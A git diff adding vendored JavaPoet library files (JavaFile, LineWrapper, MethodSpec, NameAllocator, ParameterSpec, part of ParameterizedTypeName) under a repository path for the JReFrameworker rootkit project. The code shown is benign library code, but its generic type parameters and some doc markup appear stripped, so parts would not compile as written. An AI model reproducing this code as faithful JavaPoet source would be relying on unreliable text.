uri = URI.create((packageName.isEmpty() + ? typeSpec.name + : packageName.replace('.', '/') + '/' + typeSpec.name) + + Kind.SOURCE.extension); + return new SimpleJavaFileObject(uri, Kind.SOURCE) { + private final long lastModified = System.currentTimeMillis(); + @Override public String getCharContent(boolean ignoreEncodingErrors) { + return JavaFile.this.toString(); + } + @Override public InputStream openInputStream() throws IOException { + return new ByteArrayInputStream(getCharContent(true).getBytes(UTF_8)); + } + @Override public long getLastModified() { + return lastModified; + } + }; + } + + public static Builder builder(String packageName, TypeSpec typeSpec) { + checkNotNull(packageName, "packageName == null"); + checkNotNull(typeSpec, "typeSpec == null"); + return new Builder(packageName, typeSpec); + } + + public Builder toBuilder() { + Builder builder = new Builder(packageName, typeSpec); + builder.fileComment.add(fileComment); + builder.skipJavaLangImports = skipJavaLangImports; + builder.indent = indent; + return builder; + } + + public static final class Builder { + private final String packageName; + private final TypeSpec typeSpec; + private final CodeBlock.Builder fileComment = CodeBlock.builder(); + private final Set staticImports = new TreeSet<>(); + private boolean skipJavaLangImports; + private String indent = " "; + + private Builder(String packageName, TypeSpec typeSpec) { + this.packageName = packageName; + this.typeSpec = typeSpec; + } + + public Builder addFileComment(String format, Object... args) { + this.fileComment.add(format, args); + return this; + } + + public Builder addStaticImport(Enum constant) { + return addStaticImport(ClassName.get(constant.getDeclaringClass()), constant.name()); + } + + public Builder addStaticImport(Class clazz, String... names) { + return addStaticImport(ClassName.get(clazz), names); + } + + public Builder addStaticImport(ClassName className, String... names) { + checkArgument(className != null, "className == null"); + checkArgument(names != null, "names == null"); + checkArgument(names.length > 0, "names array is empty"); + for (String name : names) { + checkArgument(name != null, "null entry in names array: %s", Arrays.toString(names)); + staticImports.add(className.canonicalName + "." + name); + } + return this; + } + + /** + * Call this to omit imports for classes in {@code java.lang}, such as {@code java.lang.String}. + * + *

By default, JavaPoet explicitly imports types in {@code java.lang} to defend against + * naming conflicts. Suppose an (ill-advised) class is named {@code com.example.String}. When + * {@code java.lang} imports are skipped, generated code in {@code com.example} that references + * {@code java.lang.String} will get {@code com.example.String} instead. + */ + public Builder skipJavaLangImports(boolean skipJavaLangImports) { + this.skipJavaLangImports = skipJavaLangImports; + return this; + } + + public Builder indent(String indent) { + this.indent = indent; + return this; + } + + public JavaFile build() { + return new JavaFile(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/LineWrapper.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/LineWrapper.java new file mode 100644 index 0000000..090b7ca --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/LineWrapper.java @@ -0,0 +1,106 @@ +/* + * Copyright (C) 2016 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; + +/** + * Implements soft line wrapping on an appendable. To use, append characters using {@link #append} + * or soft-wrapping spaces using {@link #wrappingSpace}. + */ +final class LineWrapper { + private final Appendable out; + private final String indent; + private final int columnLimit; + private boolean closed; + + /** Characters written since the last wrapping space that haven't yet been flushed. */ + private final StringBuilder buffer = new StringBuilder(); + + /** The number of characters since the most recent newline. Includes both out and the buffer. */ + private int column = 0; + + /** -1 if we have no buffering; otherwise the number of spaces to write after wrapping. */ + private int indentLevel = -1; + + LineWrapper(Appendable out, String indent, int columnLimit) { + checkNotNull(out, "out == null"); + this.out = out; + this.indent = indent; + this.columnLimit = columnLimit; + } + + /** Emit {@code s}. This may be buffered to permit line wraps to be inserted. */ + void append(String s) throws IOException { + if (closed) throw new IllegalStateException("closed"); + + if (indentLevel != -1) { + int nextNewline = s.indexOf('\n'); + + // If s doesn't cause the current line to cross the limit, buffer it and return. We'll decide + // whether or not we have to wrap it later. + if (nextNewline == -1 && column + s.length() <= columnLimit) { + buffer.append(s); + column += s.length(); + return; + } + + // Wrap if appending s would overflow the current line. + boolean wrap = nextNewline == -1 || column + nextNewline > columnLimit; + flush(wrap); + } + + out.append(s); + int lastNewline = s.lastIndexOf('\n'); + column = lastNewline != -1 + ? s.length() - lastNewline - 1 + : column + s.length(); + } + + /** Emit either a space or a newline character. */ + void wrappingSpace(int indentLevel) throws IOException { + if (closed) throw new IllegalStateException("closed"); + + if (this.indentLevel != -1) flush(false); + this.column++; + this.indentLevel = indentLevel; + } + + /** Flush any outstanding text and forbid future writes to this line wrapper. */ + void close() throws IOException { + if (indentLevel != -1) flush(false); + closed = true; + } + + /** Write the space followed by any buffered text that follows it. */ + private void flush(boolean wrap) throws IOException { + if (wrap) { + out.append('\n'); + for (int i = 0; i < indentLevel; i++) { + out.append(indent); + } + column = indentLevel * indent.length(); + column += buffer.length(); + } else { + out.append(' '); + } + out.append(buffer); + buffer.delete(0, buffer.length()); + indentLevel = -1; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/MethodSpec.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/MethodSpec.java new file mode 100644 index 0000000..5ec121a --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/MethodSpec.java @@ -0,0 +1,471 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static com.squareup.javapoet.Util.checkState; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Iterator; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Set; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.ExecutableElement; +import javax.lang.model.element.Modifier; +import javax.lang.model.element.TypeParameterElement; +import javax.lang.model.type.DeclaredType; +import javax.lang.model.type.ExecutableType; +import javax.lang.model.type.TypeMirror; +import javax.lang.model.type.TypeVariable; +import javax.lang.model.util.Types; + +/** A generated constructor or method declaration. */ +public final class MethodSpec { + static final String CONSTRUCTOR = ""; + + public final String name; + public final CodeBlock javadoc; + public final List annotations; + public final Set modifiers; + public final List typeVariables; + public final TypeName returnType; + public final List parameters; + public final boolean varargs; + public final List exceptions; + public final CodeBlock code; + public final CodeBlock defaultValue; + + private MethodSpec(Builder builder) { + CodeBlock code = builder.code.build(); + checkArgument(code.isEmpty() || !builder.modifiers.contains(Modifier.ABSTRACT), + "abstract method %s cannot have code", builder.name); + checkArgument(!builder.varargs || lastParameterIsArray(builder.parameters), + "last parameter of varargs method %s must be an array", builder.name); + + this.name = checkNotNull(builder.name, "name == null"); + this.javadoc = builder.javadoc.build(); + this.annotations = Util.immutableList(builder.annotations); + this.modifiers = Util.immutableSet(builder.modifiers); + this.typeVariables = Util.immutableList(builder.typeVariables); + this.returnType = builder.returnType; + this.parameters = Util.immutableList(builder.parameters); + this.varargs = builder.varargs; + this.exceptions = Util.immutableList(builder.exceptions); + this.defaultValue = builder.defaultValue; + this.code = code; + } + + private boolean lastParameterIsArray(List parameters) { + return !parameters.isEmpty() + && TypeName.arrayComponent(parameters.get(parameters.size() - 1).type) != null; + } + + void emit(CodeWriter codeWriter, String enclosingName, Set implicitModifiers) + throws IOException { + codeWriter.emitJavadoc(javadoc); + codeWriter.emitAnnotations(annotations, false); + codeWriter.emitModifiers(modifiers, implicitModifiers); + + if (!typeVariables.isEmpty()) { + codeWriter.emitTypeVariables(typeVariables); + codeWriter.emit(" "); + } + + if (isConstructor()) { + codeWriter.emit("$L(", enclosingName); + } else { + codeWriter.emit("$T $L(", returnType, name); + } + + boolean firstParameter = true; + for (Iterator i = parameters.iterator(); i.hasNext(); ) { + ParameterSpec parameter = i.next(); + if (!firstParameter) codeWriter.emit(",").emitWrappingSpace(); + parameter.emit(codeWriter, !i.hasNext() && varargs); + firstParameter = false; + } + + codeWriter.emit(")"); + + if (defaultValue != null && !defaultValue.isEmpty()) { + codeWriter.emit(" default "); + codeWriter.emit(defaultValue); + } + + if (!exceptions.isEmpty()) { + codeWriter.emitWrappingSpace().emit("throws"); + boolean firstException = true; + for (TypeName exception : exceptions) { + if (!firstException) codeWriter.emit(","); + codeWriter.emitWrappingSpace().emit("$T", exception); + firstException = false; + } + } + + if (hasModifier(Modifier.ABSTRACT)) { + codeWriter.emit(";\n"); + } else if (hasModifier(Modifier.NATIVE)) { + // Code is allowed to support stuff like GWT JSNI. + codeWriter.emit(code); + codeWriter.emit(";\n"); + } else { + codeWriter.emit(" {\n"); + + codeWriter.indent(); + codeWriter.emit(code); + codeWriter.unindent(); + + codeWriter.emit("}\n"); + } + } + + public boolean hasModifier(Modifier modifier) { + return modifiers.contains(modifier); + } + + public boolean isConstructor() { + return name.equals(CONSTRUCTOR); + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + CodeWriter codeWriter = new CodeWriter(out); + emit(codeWriter, "Constructor", Collections.emptySet()); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public static Builder methodBuilder(String name) { + return new Builder(name); + } + + public static Builder constructorBuilder() { + return new Builder(CONSTRUCTOR); + } + + /** + * Returns a new method spec builder that overrides {@code method}. + * + *

This will copy its visibility modifiers, type parameters, return type, name, parameters, and + * throws declarations. An {@link Override} annotation will be added. + * + *

Note that in JavaPoet 1.2 through 1.7 this method retained annotations from the method and + * parameters of the overridden method. Since JavaPoet 1.8 annotations must be added separately. + */ + public static Builder overriding(ExecutableElement method) { + checkNotNull(method, "method == null"); + + Set modifiers = method.getModifiers(); + if (modifiers.contains(Modifier.PRIVATE) + || modifiers.contains(Modifier.FINAL) + || modifiers.contains(Modifier.STATIC)) { + throw new IllegalArgumentException("cannot override method with modifiers: " + modifiers); + } + + String methodName = method.getSimpleName().toString(); + MethodSpec.Builder methodBuilder = MethodSpec.methodBuilder(methodName); + + methodBuilder.addAnnotation(Override.class); + + modifiers = new LinkedHashSet<>(modifiers); + modifiers.remove(Modifier.ABSTRACT); + modifiers.remove(Util.DEFAULT); // LinkedHashSet permits null as element for Java 7 + methodBuilder.addModifiers(modifiers); + + for (TypeParameterElement typeParameterElement : method.getTypeParameters()) { + TypeVariable var = (TypeVariable) typeParameterElement.asType(); + methodBuilder.addTypeVariable(TypeVariableName.get(var)); + } + + methodBuilder.returns(TypeName.get(method.getReturnType())); + methodBuilder.addParameters(ParameterSpec.parametersOf(method)); + methodBuilder.varargs(method.isVarArgs()); + + for (TypeMirror thrownType : method.getThrownTypes()) { + methodBuilder.addException(TypeName.get(thrownType)); + } + + return methodBuilder; + } + + /** + * Returns a new method spec builder that overrides {@code method} as a member of {@code + * enclosing}. This will resolve type parameters: for example overriding {@link + * Comparable#compareTo} in a type that implements {@code Comparable}, the {@code T} + * parameter will be resolved to {@code Movie}. + * + *

This will copy its visibility modifiers, type parameters, return type, name, parameters, and + * throws declarations. An {@link Override} annotation will be added. + * + *

Note that in JavaPoet 1.2 through 1.7 this method retained annotations from the method and + * parameters of the overridden method. Since JavaPoet 1.8 annotations must be added separately. + */ + public static Builder overriding( + ExecutableElement method, DeclaredType enclosing, Types types) { + ExecutableType executableType = (ExecutableType) types.asMemberOf(enclosing, method); + List resolvedParameterTypes = executableType.getParameterTypes(); + TypeMirror resolvedReturnType = executableType.getReturnType(); + + Builder builder = overriding(method); + builder.returns(TypeName.get(resolvedReturnType)); + for (int i = 0, size = builder.parameters.size(); i < size; i++) { + ParameterSpec parameter = builder.parameters.get(i); + TypeName type = TypeName.get(resolvedParameterTypes.get(i)); + builder.parameters.set(i, parameter.toBuilder(type, parameter.name).build()); + } + + return builder; + } + + public Builder toBuilder() { + Builder builder = new Builder(name); + builder.javadoc.add(javadoc); + builder.annotations.addAll(annotations); + builder.modifiers.addAll(modifiers); + builder.typeVariables.addAll(typeVariables); + builder.returnType = returnType; + builder.parameters.addAll(parameters); + builder.exceptions.addAll(exceptions); + builder.code.add(code); + builder.varargs = varargs; + builder.defaultValue = defaultValue; + return builder; + } + + public static final class Builder { + private final String name; + + private final CodeBlock.Builder javadoc = CodeBlock.builder(); + private final List annotations = new ArrayList<>(); + private final List modifiers = new ArrayList<>(); + private List typeVariables = new ArrayList<>(); + private TypeName returnType; + private final List parameters = new ArrayList<>(); + private final Set exceptions = new LinkedHashSet<>(); + private final CodeBlock.Builder code = CodeBlock.builder(); + private boolean varargs; + private CodeBlock defaultValue; + + private Builder(String name) { + checkArgument(name.equals(CONSTRUCTOR) || SourceVersion.isName(name), + "not a valid name: %s", name); + this.name = name; + this.returnType = name.equals(CONSTRUCTOR) ? null : TypeName.VOID; + } + + public Builder addJavadoc(String format, Object... args) { + javadoc.add(format, args); + return this; + } + + public Builder addJavadoc(CodeBlock block) { + javadoc.add(block); + return this; + } + + public Builder addAnnotations(Iterable annotationSpecs) { + checkArgument(annotationSpecs != null, "annotationSpecs == null"); + for (AnnotationSpec annotationSpec : annotationSpecs) { + this.annotations.add(annotationSpec); + } + return this; + } + + public Builder addAnnotation(AnnotationSpec annotationSpec) { + this.annotations.add(annotationSpec); + return this; + } + + public Builder addAnnotation(ClassName annotation) { + this.annotations.add(AnnotationSpec.builder(annotation).build()); + return this; + } + + public Builder addAnnotation(Class annotation) { + return addAnnotation(ClassName.get(annotation)); + } + + public Builder addModifiers(Modifier... modifiers) { + Collections.addAll(this.modifiers, modifiers); + return this; + } + + public Builder addModifiers(Iterable modifiers) { + checkNotNull(modifiers, "modifiers == null"); + for (Modifier modifier : modifiers) { + this.modifiers.add(modifier); + } + return this; + } + + public Builder addTypeVariables(Iterable typeVariables) { + checkArgument(typeVariables != null, "typeVariables == null"); + for (TypeVariableName typeVariable : typeVariables) { + this.typeVariables.add(typeVariable); + } + return this; + } + + public Builder addTypeVariable(TypeVariableName typeVariable) { + typeVariables.add(typeVariable); + return this; + } + + public Builder returns(TypeName returnType) { + checkState(!name.equals(CONSTRUCTOR), "constructor cannot have return type."); + this.returnType = returnType; + return this; + } + + public Builder returns(Type returnType) { + return returns(TypeName.get(returnType)); + } + + public Builder addParameters(Iterable parameterSpecs) { + checkArgument(parameterSpecs != null, "parameterSpecs == null"); + for (ParameterSpec parameterSpec : parameterSpecs) { + this.parameters.add(parameterSpec); + } + return this; + } + + public Builder addParameter(ParameterSpec parameterSpec) { + this.parameters.add(parameterSpec); + return this; + } + + public Builder addParameter(TypeName type, String name, Modifier... modifiers) { + return addParameter(ParameterSpec.builder(type, name, modifiers).build()); + } + + public Builder addParameter(Type type, String name, Modifier... modifiers) { + return addParameter(TypeName.get(type), name, modifiers); + } + + public Builder varargs() { + return varargs(true); + } + + public Builder varargs(boolean varargs) { + this.varargs = varargs; + return this; + } + + public Builder addExceptions(Iterable exceptions) { + checkArgument(exceptions != null, "exceptions == null"); + for (TypeName exception : exceptions) { + this.exceptions.add(exception); + } + return this; + } + + public Builder addException(TypeName exception) { + this.exceptions.add(exception); + return this; + } + + public Builder addException(Type exception) { + return addException(TypeName.get(exception)); + } + + public Builder addCode(String format, Object... args) { + code.add(format, args); + return this; + } + + public Builder addCode(CodeBlock codeBlock) { + code.add(codeBlock); + return this; + } + + public Builder addComment(String format, Object... args) { + code.add("// " + format + "\n", args); + return this; + } + + public Builder defaultValue(String format, Object... args) { + return defaultValue(CodeBlock.of(format, args)); + } + + public Builder defaultValue(CodeBlock codeBlock) { + checkState(this.defaultValue == null, "defaultValue was already set"); + this.defaultValue = checkNotNull(codeBlock, "codeBlock == null"); + return this; + } + + /** + * @param controlFlow the control flow construct and its code, such as "if (foo == 5)". + * Shouldn't contain braces or newline characters. + */ + public Builder beginControlFlow(String controlFlow, Object... args) { + code.beginControlFlow(controlFlow, args); + return this; + } + + /** + * @param controlFlow the control flow construct and its code, such as "else if (foo == 10)". + * Shouldn't contain braces or newline characters. + */ + public Builder nextControlFlow(String controlFlow, Object... args) { + code.nextControlFlow(controlFlow, args); + return this; + } + + public Builder endControlFlow() { + code.endControlFlow(); + return this; + } + + /** + * @param controlFlow the optional control flow construct and its code, such as + * "while(foo == 20)". Only used for "do/while" control flows. + */ + public Builder endControlFlow(String controlFlow, Object... args) { + code.endControlFlow(controlFlow, args); + return this; + } + + public Builder addStatement(String format, Object... args) { + code.addStatement(format, args); + return this; + } + + public MethodSpec build() { + return new MethodSpec(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/NameAllocator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/NameAllocator.java new file mode 100644 index 0000000..549bf0f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/NameAllocator.java @@ -0,0 +1,169 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkNotNull; + +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.Map; +import java.util.Set; +import java.util.UUID; + +import javax.lang.model.SourceVersion; + +/** + * Assigns Java identifier names to avoid collisions, keywords, and invalid characters. To use, + * first create an instance and allocate all of the names that you need. Typically this is a + * mix of user-supplied names and constants:

   {@code
+ *
+ *   NameAllocator nameAllocator = new NameAllocator();
+ *   for (MyProperty property : properties) {
+ *     nameAllocator.newName(property.name(), property);
+ *   }
+ *   nameAllocator.newName("sb", "string builder");
+ * }
+ * + * Pass a unique tag object to each allocation. The tag scopes the name, and can be used to look up + * the allocated name later. Typically the tag is the object that is being named. In the above + * example we use {@code property} for the user-supplied property names, and {@code "string + * builder"} for our constant string builder. + * + *

Once we've allocated names we can use them when generating code:

   {@code
+ *
+ *   MethodSpec.Builder builder = MethodSpec.methodBuilder("toString")
+ *       .addAnnotation(Override.class)
+ *       .addModifiers(Modifier.PUBLIC)
+ *       .returns(String.class);
+ *
+ *   builder.addStatement("$1T $2N = new $1T()",
+ *       StringBuilder.class, nameAllocator.get("string builder"));
+ *   for (MyProperty property : properties) {
+ *     builder.addStatement("$N.append($N)",
+ *         nameAllocator.get("string builder"), nameAllocator.get(property));
+ *   }
+ *   builder.addStatement("return $N", nameAllocator.get("string builder"));
+ *   return builder.build();
+ * }
+ * + * The above code generates unique names if presented with conflicts. Given user-supplied properties + * with names {@code ab} and {@code sb} this generates the following:
   {@code
+ *
+ *   @Override
+ *   public String toString() {
+ *     StringBuilder sb_ = new StringBuilder();
+ *     sb_.append(ab);
+ *     sb_.append(sb);
+ *     return sb_.toString();
+ *   }
+ * }
+ * + * The underscore is appended to {@code sb} to avoid conflicting with the user-supplied {@code sb} + * property. Underscores are also prefixed for names that start with a digit, and used to replace + * name-unsafe characters like space or dash. + * + *

When dealing with multiple independent inner scopes, use a {@link #clone()} of the + * NameAllocator used for the outer scope to further refine name allocation for a specific inner + * scope. + */ +public final class NameAllocator implements Cloneable { + private final Set allocatedNames; + private final Map tagToName; + + public NameAllocator() { + this(new LinkedHashSet(), new LinkedHashMap()); + } + + private NameAllocator(LinkedHashSet allocatedNames, + LinkedHashMap tagToName) { + this.allocatedNames = allocatedNames; + this.tagToName = tagToName; + } + + /** + * Return a new name using {@code suggestion} that will not be a Java identifier or clash with + * other names. + */ + public String newName(String suggestion) { + return newName(suggestion, UUID.randomUUID().toString()); + } + + /** + * Return a new name using {@code suggestion} that will not be a Java identifier or clash with + * other names. The returned value can be queried multiple times by passing {@code tag} to + * {@link #get(Object)}. + */ + public String newName(String suggestion, Object tag) { + checkNotNull(suggestion, "suggestion"); + checkNotNull(tag, "tag"); + + suggestion = toJavaIdentifier(suggestion); + + while (SourceVersion.isKeyword(suggestion) || !allocatedNames.add(suggestion)) { + suggestion = suggestion + "_"; + } + + String replaced = tagToName.put(tag, suggestion); + if (replaced != null) { + tagToName.put(tag, replaced); // Put things back as they were! + throw new IllegalArgumentException("tag " + tag + " cannot be used for both '" + replaced + + "' and '" + suggestion + "'"); + } + + return suggestion; + } + + public static String toJavaIdentifier(String suggestion) { + StringBuilder result = new StringBuilder(); + for (int i = 0; i < suggestion.length(); ) { + int codePoint = suggestion.codePointAt(i); + if (i == 0 + && !Character.isJavaIdentifierStart(codePoint) + && Character.isJavaIdentifierPart(codePoint)) { + result.append("_"); + } + + int validCodePoint = Character.isJavaIdentifierPart(codePoint) ? codePoint : '_'; + result.appendCodePoint(validCodePoint); + i += Character.charCount(codePoint); + } + return result.toString(); + } + + /** Retrieve a name created with {@link #newName(String, Object)}. */ + public String get(Object tag) { + String result = tagToName.get(tag); + if (result == null) { + throw new IllegalArgumentException("unknown tag: " + tag); + } + return result; + } + + /** + * Create a deep copy of this NameAllocator. Useful to create multiple independent refinements + * of a NameAllocator to be used in the respective definition of multiples, independently-scoped, + * inner code blocks. + * + * @return A deep copy of this NameAllocator. + */ + @Override + public NameAllocator clone() { + return new NameAllocator( + new LinkedHashSet<>(this.allocatedNames), + new LinkedHashMap<>(this.tagToName)); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ParameterSpec.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ParameterSpec.java new file mode 100644 index 0000000..adc4c48 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ParameterSpec.java @@ -0,0 +1,173 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Set; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.ExecutableElement; +import javax.lang.model.element.Modifier; +import javax.lang.model.element.VariableElement; + +/** A generated parameter declaration. */ +public final class ParameterSpec { + public final String name; + public final List annotations; + public final Set modifiers; + public final TypeName type; + + private ParameterSpec(Builder builder) { + this.name = checkNotNull(builder.name, "name == null"); + this.annotations = Util.immutableList(builder.annotations); + this.modifiers = Util.immutableSet(builder.modifiers); + this.type = checkNotNull(builder.type, "type == null"); + } + + public boolean hasModifier(Modifier modifier) { + return modifiers.contains(modifier); + } + + void emit(CodeWriter codeWriter, boolean varargs) throws IOException { + codeWriter.emitAnnotations(annotations, true); + codeWriter.emitModifiers(modifiers); + if (varargs) { + codeWriter.emit("$T... $L", TypeName.arrayComponent(type), name); + } else { + codeWriter.emit("$T $L", type, name); + } + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + CodeWriter codeWriter = new CodeWriter(out); + emit(codeWriter, false); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public static ParameterSpec get(VariableElement element) { + TypeName type = TypeName.get(element.asType()); + String name = element.getSimpleName().toString(); + return ParameterSpec.builder(type, name) + .addModifiers(element.getModifiers()) + .build(); + } + + static List parametersOf(ExecutableElement method) { + List result = new ArrayList<>(); + for (VariableElement parameter : method.getParameters()) { + result.add(ParameterSpec.get(parameter)); + } + return result; + } + + public static Builder builder(TypeName type, String name, Modifier... modifiers) { + checkNotNull(type, "type == null"); + checkArgument(SourceVersion.isName(name), "not a valid name: %s", name); + return new Builder(type, name) + .addModifiers(modifiers); + } + + public static Builder builder(Type type, String name, Modifier... modifiers) { + return builder(TypeName.get(type), name, modifiers); + } + + public Builder toBuilder() { + return toBuilder(type, name); + } + + Builder toBuilder(TypeName type, String name) { + Builder builder = new Builder(type, name); + builder.annotations.addAll(annotations); + builder.modifiers.addAll(modifiers); + return builder; + } + + public static final class Builder { + private final TypeName type; + private final String name; + + private final List annotations = new ArrayList<>(); + private final List modifiers = new ArrayList<>(); + + private Builder(TypeName type, String name) { + this.type = type; + this.name = name; + } + + public Builder addAnnotations(Iterable annotationSpecs) { + checkArgument(annotationSpecs != null, "annotationSpecs == null"); + for (AnnotationSpec annotationSpec : annotationSpecs) { + this.annotations.add(annotationSpec); + } + return this; + } + + public Builder addAnnotation(AnnotationSpec annotationSpec) { + this.annotations.add(annotationSpec); + return this; + } + + public Builder addAnnotation(ClassName annotation) { + this.annotations.add(AnnotationSpec.builder(annotation).build()); + return this; + } + + public Builder addAnnotation(Class annotation) { + return addAnnotation(ClassName.get(annotation)); + } + + public Builder addModifiers(Modifier... modifiers) { + Collections.addAll(this.modifiers, modifiers); + return this; + } + + public Builder addModifiers(Iterable modifiers) { + checkNotNull(modifiers, "modifiers == null"); + for (Modifier modifier : modifiers) { + this.modifiers.add(modifier); + } + return this; + } + + public ParameterSpec build() { + return new ParameterSpec(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ParameterizedTypeName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ParameterizedTypeName.java new file mode 100644 index 0000000..2e952cd --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ParameterizedTypeName.java @@ -0,0 +1,135 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; +import java.lang.reflect.Modifier; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +public final class ParameterizedTypeName extends TypeName { + private final ParameterizedTypeName enclosingType; + public final ClassName rawType; + public final List typeArguments; + + ParameterizedTypeName(ParameterizedTypeName enclosingType, ClassName rawType, + List typeArguments) { + this(enclosingType, rawType, typeArguments, new ArrayList()); + } + + private ParameterizedTypeName(ParameterizedTypeName enclosingType, ClassName rawType, + List typeArguments, List annotations) { + super(annotations); + this.rawType = checkNotNull(rawType, "rawType == null"); + this.enclosingType = enclosingType; + this.typeArguments = Util.immutableList(typeArguments); + + checkArgument(!this.typeArguments.isEmpty() || enclosingType != null, + "no type arguments: %s", rawType); + for (TypeName typeArgument : this.typeArguments) { + checkArgument(!typeArgument.isPrimitive() && typeArgument != VOID, + "invalid type parameter: %s", typeArgument); + } + } + + @Override public ParameterizedTypeName annotated(List annotations) { + return new ParameterizedTypeName( + enclosingType, rawType, typeArguments, concatAnnotations(annotations)); + } + + @Override public TypeName withoutAnnotations() { + return new ParameterizedTypeName( + enclosingType, rawType, typeArguments, new ArrayList()); + } + + @Override CodeWriter emit(CodeWriter out) throws IOException { + if (enclosingType != null) { + enclosingType.emitAnnotations(out); + enclosingType.emit(out); + out.emit("." + rawType.simpleName()); + } else { + rawType.emitAnnotations(out); + rawType.emit(out); + } + if (!typeArguments.isEmpty()) { + out.emitAndIndent("<"); + boolean firstParameter = true; + for (TypeName parameter : typeArguments) { + if (!firstParameter) out.emitAndIndent(", "); + parameter.emitAnnotations(out); + parameter.emit(out); + firstParameter = false; + } + out.emitAndIndent(">"); + } + return out; + } + + /** + * Returns a new {@link ParameterizedTypeName} instance for the specified {@code name} as nested + * inside this class. + */ + public ParameterizedTypeName nestedClass(String name) { + checkNotNull(name, "name == null"); + return new ParameterizedTypeName(this, rawType.nestedClass(name), new ArrayList(), + new ArrayList()); + } 